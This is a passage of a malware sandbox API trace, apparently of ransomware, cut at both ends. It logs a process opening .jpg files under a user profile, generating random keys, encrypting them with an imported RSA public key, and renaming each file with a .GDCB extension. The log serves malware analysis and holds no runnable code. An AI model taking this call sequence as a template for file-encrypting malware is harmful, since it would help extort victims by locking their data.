dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f50000 [0192.713] ReadFile (in: hFile=0x518, lpBuffer=0x5f50000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5f50000*, lpNumberOfBytesRead=0x285d160*=0x17b8, lpOverlapped=0x0) returned 1 [0192.721] VirtualAlloc (lpAddress=0x0, dwSize=0x17c0, flAllocationType=0x3000, flProtect=0x4) returned 0x6060000 [0192.727] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Notifications\\wpnidm\\7a7d9912.jpg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\notifications\\wpnidm\\7a7d9912.jpg"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Notifications\\wpnidm\\7a7d9912.jpg.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\notifications\\wpnidm\\7a7d9912.jpg.gdcb")) returned 0 [0192.733] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0192.735] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0192.736] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0192.736] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0192.736] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0192.736] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4980) returned 1 [0192.738] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0192.739] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0192.739] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0192.739] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0192.739] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0192.742] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5035410) returned 1 [0192.742] CryptGetKeyParam (in: hKey=0x5035410, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0192.742] CryptEncrypt (in: hKey=0x5035410, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f20000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5f20000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0192.742] GetLastError () returned 0x0 [0192.742] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0192.742] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0192.745] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5035090) returned 1 [0192.745] CryptGetKeyParam (in: hKey=0x5035090, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0192.745] CryptEncrypt (in: hKey=0x5035090, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f30000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5f30000*, pdwDataLen=0x285d120*=0x100) returned 1 [0192.745] GetLastError () returned 0x0 [0192.745] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0192.745] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Notifications\\wpnidm\\7fe97f77.jpg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\notifications\\wpnidm\\7fe97f77.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0192.749] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f40000 [0192.751] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f50000 [0192.752] ReadFile (in: hFile=0x518, lpBuffer=0x5f50000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5f50000*, lpNumberOfBytesRead=0x285d160*=0x194b, lpOverlapped=0x0) returned 1 [0192.771] VirtualAlloc (lpAddress=0x0, dwSize=0x1950, flAllocationType=0x3000, flProtect=0x4) returned 0x6060000 [0192.776] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Notifications\\wpnidm\\7fe97f77.jpg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\notifications\\wpnidm\\7fe97f77.jpg"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Notifications\\wpnidm\\7fe97f77.jpg.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\notifications\\wpnidm\\7fe97f77.jpg.gdcb")) returned 0 [0192.796] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0192.798] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0192.799] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0192.799] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0192.799] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0192.799] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0192.801] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0192.802] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0192.802] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0192.802] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0192.802] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0192.805] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x50355d0) returned 1 [0192.805] CryptGetKeyParam (in: hKey=0x50355d0, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0192.805] CryptEncrypt (in: hKey=0x50355d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f20000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5f20000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0192.805] GetLastError () returned 0x0 [0192.805] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0192.805] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0192.808] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5035190) returned 1 [0192.808] CryptGetKeyParam (in: hKey=0x5035190, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0192.808] CryptEncrypt (in: hKey=0x5035190, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f30000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5f30000*, pdwDataLen=0x285d120*=0x100) returned 1 [0192.808] GetLastError () returned 0x0 [0192.808] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0192.808] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Notifications\\wpnidm\\9c14e2ad.jpg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\notifications\\wpnidm\\9c14e2ad.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0192.811] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f40000 [0192.813] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f50000 [0192.814] ReadFile (in: hFile=0x518, lpBuffer=0x5f50000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5f50000*, lpNumberOfBytesRead=0x285d160*=0x7e86, lpOverlapped=0x0) returned 1 [0192.838] VirtualAlloc (lpAddress=0x0, dwSize=0x7e90, flAllocationType=0x3000, flProtect=0x4) returned 0x6060000 [0192.848] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Notifications\\wpnidm\\9c14e2ad.jpg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\notifications\\wpnidm\\9c14e2ad.jpg"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Notifications\\wpnidm\\9c14e2ad.jpg.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\notifications\\wpnidm\\9c14e2ad.jpg.gdcb")) returned 0 [0192.854] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0192.856] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0192.858] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0192.858] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0192.858] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0192.858] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0192.859] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0192.861] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0192.861] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0192.861] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0192.861] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0192.863] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x50351d0) returned 1 [0192.863] CryptGetKeyParam (in: hKey=0x50351d0, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0192.863] CryptEncrypt (in: hKey=0x50351d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f20000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5f20000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0192.864] GetLastError () returned 0x0 [0192.864] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0192.864] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0192.866] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5035150) returned 1 [0192.866] CryptGetKeyParam (in: hKey=0x5035150, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0192.866] CryptEncrypt (in: hKey=0x5035150, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f30000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5f30000*, pdwDataLen=0x285d120*=0x100) returned 1 [0192.866] GetLastError () returned 0x0 [0192.866] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0192.866] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Notifications\\wpnidm\\a229ed41.jpg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\notifications\\wpnidm\\a229ed41.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0192.869] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f40000 [0192.870] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f50000 [0192.871] ReadFile (in: hFile=0x518, lpBuffer=0x5f50000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5f50000*, lpNumberOfBytesRead=0x285d160*=0x10b4, lpOverlapped=0x0) returned 1 [0192.891] VirtualAlloc (lpAddress=0x0, dwSize=0x10c0, flAllocationType=0x3000, flProtect=0x4) returned 0x61a0000 [0192.897] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Notifications\\wpnidm\\a229ed41.jpg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\notifications\\wpnidm\\a229ed41.jpg"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Notifications\\wpnidm\\a229ed41.jpg.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\notifications\\wpnidm\\a229ed41.jpg.gdcb")) returned 0 [0192.904] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0192.906] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0192.907] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0192.907] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0192.907] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0192.907] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0192.909] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0192.910] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0192.910] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0192.910] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0192.910] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0192.913] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5035750) returned 1 [0192.913] CryptGetKeyParam (in: hKey=0x5035750, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0192.913] CryptEncrypt (in: hKey=0x5035750, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f20000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5f20000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0192.914] GetLastError () returned 0x0 [0192.914] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0192.914] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4980) returned 1 [0192.916] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5035210) returned 1 [0192.916] CryptGetKeyParam (in: hKey=0x5035210, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0192.916] CryptEncrypt (in: hKey=0x5035210, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f30000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5f30000*, pdwDataLen=0x285d120*=0x100) returned 1 [0192.916] GetLastError () returned 0x0 [0192.917] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0192.917] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Notifications\\wpnidm\\a271c2fa.jpg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\notifications\\wpnidm\\a271c2fa.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0192.919] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f40000 [0192.921] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f50000 [0192.922] ReadFile (in: hFile=0x518, lpBuffer=0x5f50000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5f50000*, lpNumberOfBytesRead=0x285d160*=0x12fd, lpOverlapped=0x0) returned 1 [0192.937] VirtualAlloc (lpAddress=0x0, dwSize=0x1300, flAllocationType=0x3000, flProtect=0x4) returned 0x61a0000 [0192.943] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Notifications\\wpnidm\\a271c2fa.jpg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\notifications\\wpnidm\\a271c2fa.jpg"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Notifications\\wpnidm\\a271c2fa.jpg.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\notifications\\wpnidm\\a271c2fa.jpg.gdcb")) returned 0 [0192.949] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0192.951] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0192.952] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0192.952] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0192.952] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0192.952] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0192.954] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0192.955] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0192.955] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0192.955] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0192.955] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4980) returned 1 [0192.958] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5035250) returned 1 [0192.958] CryptGetKeyParam (in: hKey=0x5035250, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0192.958] CryptEncrypt (in: hKey=0x5035250, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f20000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5f20000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0192.958] GetLastError () returned 0x0 [0192.958] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0192.958] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0192.960] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5035310) returned 1 [0192.960] CryptGetKeyParam (in: hKey=0x5035310, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0192.961] CryptEncrypt (in: hKey=0x5035310, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f30000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5f30000*, pdwDataLen=0x285d120*=0x100) returned 1 [0192.961] GetLastError () returned 0x0 [0192.961] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0192.961] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Notifications\\wpnidm\\a2e35824.jpg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\notifications\\wpnidm\\a2e35824.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0192.963] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f40000 [0192.965] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f50000 [0192.967] ReadFile (in: hFile=0x518, lpBuffer=0x5f50000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5f50000*, lpNumberOfBytesRead=0x285d160*=0x260b, lpOverlapped=0x0) returned 1 [0192.991] VirtualAlloc (lpAddress=0x0, dwSize=0x2610, flAllocationType=0x3000, flProtect=0x4) returned 0x61a0000 [0192.997] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Notifications\\wpnidm\\a2e35824.jpg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application 